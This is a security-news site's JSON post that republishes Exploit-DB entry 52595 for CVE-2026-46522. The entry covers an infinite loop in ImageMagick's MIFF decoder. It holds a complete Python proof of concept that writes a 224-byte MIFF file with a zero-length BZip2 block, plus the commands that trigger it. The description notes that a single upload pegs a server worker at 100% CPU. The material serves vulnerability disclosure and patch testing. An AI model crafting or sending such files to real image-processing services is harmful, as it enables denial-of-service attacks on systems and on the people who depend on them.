{"id":58038,"date":"2026-05-29T06:35:10","date_gmt":"2026-05-29T06:35:10","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=58038"},"modified":"2026-05-29T06:35:10","modified_gmt":"2026-05-29T06:35:10","slug":"imagemagick-infinite-loop-in-the-miff-decoder-can-lead-to-cpu-exhaustion","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=58038","title":{"rendered":"ImageMagick &#8211; Infinite Loop in the MIFF decoder can lead to CPU exhaustion_EDB-ID:52595"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-29T11:29:17&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: ImageMagick &#8211; Infinite Loop in the MIFF decoder can lead to CPU exhaustion Google Dork: N\/A Date: 2026-05-13 Exploit Author: Jose Rivas bl4cksku11 \\u0026 Zero Trust Offsec Vendor Homepage: https:\/\/imagemagick.org\/ Software Link:&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-29T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-29T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;ImageMagick &#8211; Infinite Loop in the MIFF decoder can lead to CPU exhaustion&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;EDB-ID:52595&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-46522&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: ImageMagick &#8211; Infinite Loop in the MIFF decoder can lead to CPU exhaustion \\r\\n# Google Dork: N\/A\\r\\n# Date: 2026-05-13\\r\\n# Exploit Author: Jose Rivas (bl4cksku11) \\u0026 Zero Trust Offsec\\r\\n# Vendor Homepage: https:\/\/imagemagick.org\/\\r\\n# Software Link: https:\/\/imagemagick.org\/download\/\\r\\n# Version: ImageMagick 7.x, verified on 7.1.2-3 system\\r\\n# CVE : CVE-2026-46522\\r\\n# GHSA: https:\/\/github.com\/ImageMagick\/ImageMagick\/security\/advisories\/GHSA-7gg8-qqx7-92g5\\r\\n\\&#8221;\\&#8221;\\&#8221;\\r\\nDescription\\r\\n&#8212;&#8212;&#8212;&#8211;\\r\\ncoders\/miff.c ReadMIFFImage BZip2 branch does not reject length=0 in the\\r\\nper-block compressed length prefix. BZ2_bzDecompress with avail_in=0 returns\\r\\nBZ_OK silently, and the IM loop only exits on BZ_STREAM_END or on codes that\\r\\nare neither BZ_OK nor BZ_STREAM_END. The loop spins forever consuming CPU.\\r\\n\\r\\nLZMA and Zip branches have the same code shape but their decompressor\\r\\nlibraries return BUF_ERROR on empty input, so they bail out.\\r\\n\\r\\nMinimal PoC is 224 bytes. Single HTTP upload pegs a worker at 100 percent CPU\\r\\nuntil killed by a request timeout or by the OS.\\r\\n\\r\\nUsage\\r\\n&#8212;&#8211;\\r\\n    python3 miff_bzip_dos.py [OUTPUT_PATH]\\r\\n\\r\\nDefault OUTPUT_PATH is \/tmp\/poc.miff. Then trigger:\\r\\n\\r\\n    \/usr\/bin\/time -f &#8216;wall=%es user=%Us cpu=%P exit=%x&#8217; \\\\\\\\\\r\\n      timeout 5 magick identify \/tmp\/poc.miff\\r\\n\\r\\nExpected output:\\r\\n    Command exited with non-zero status 124\\r\\n    wall=5.00s user=5.00s cpu=100% exit=124\\r\\n\\r\\nThe process never finishes on its own. Timeout kills it.\\r\\n\\&#8221;\\&#8221;\\&#8221;\\r\\n\\r\\nimport sys\\r\\n\\r\\ndef craft_miff(path: str) -\\u003e None:\\r\\n    header = (\\r\\n        b\\&#8221;id=ImageMagick version=1.0\\\\n\\&#8221;\\r\\n        b\\&#8221;class=DirectClass colors=0 alpha-trait=Undefined\\\\n\\&#8221;\\r\\n        b\\&#8221;number-channels=3 number-meta-channels=0 channel-mask=0x0000000000000007\\\\n\\&#8221;\\r\\n        b\\&#8221;columns=1 rows=1 depth=8\\\\n\\&#8221;\\r\\n        b\\&#8221;colorspace=sRGB compression=BZip quality=75\\\\n\\&#8221;\\r\\n        b\\&#8221;\\\\x0c\\\\n\\&#8221;          # form feed terminator, then one byte consumed by ReadBlobByte\\r\\n    )\\r\\n    body = b\\&#8221;\\\\x00\\\\x00\\\\x00\\\\x00\\&#8221;   # 4-byte MSB length=0, triggers the infinite loop\\r\\n    with open(path, \\&#8221;wb\\&#8221;) as f:\\r\\n        f.write(header + body)\\r\\n    import os\\r\\n    print(f\\&#8221;[+] Wrote {path} ({os.path.getsize(path)} bytes)\\&#8221;)\\r\\n    print(f\\&#8221;[+] Trigger with:\\&#8221;)\\r\\n    print(f\\&#8221;    \/usr\/bin\/time -f &#8216;wall=%es user=%Us cpu=%P exit=%x&#8217; \\\\\\\\\\&#8221;)\\r\\n    print(f\\&#8221;      timeout 5 magick identify {path}\\&#8221;)\\r\\n\\r\\nif __name__ == \\&#8221;__main__\\&#8221;:\\r\\n    craft_miff(sys.argv[1] if len(sys.argv) \\u003e 1 else \\&#8221;\/tmp\/poc.miff\\&#8221;)&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/www.exploit-db.com\/raw\/52595&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.exploit-db.com\/exploits\/52595&#8243;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-29T11:29:17&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: ImageMagick &#8211; Infinite Loop in the MIFF decoder can lead to CPU exhaustion Google Dork: N\/A Date: 2026-05-13 Exploit Author: Jose Rivas bl4cksku11&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,40,13,33,7,11,5],"class_list":["post-58038","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-exploitdb","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>ImageMagick - Infinite Loop in the MIFF decoder can lead to CPU exhaustion_EDB-ID:52595 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=58038\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"ImageMagick - Infinite Loop in the MIFF decoder can lead to CPU exhaustion_EDB-ID:52595 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-29T11:29:17&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: ImageMagick &#8211; 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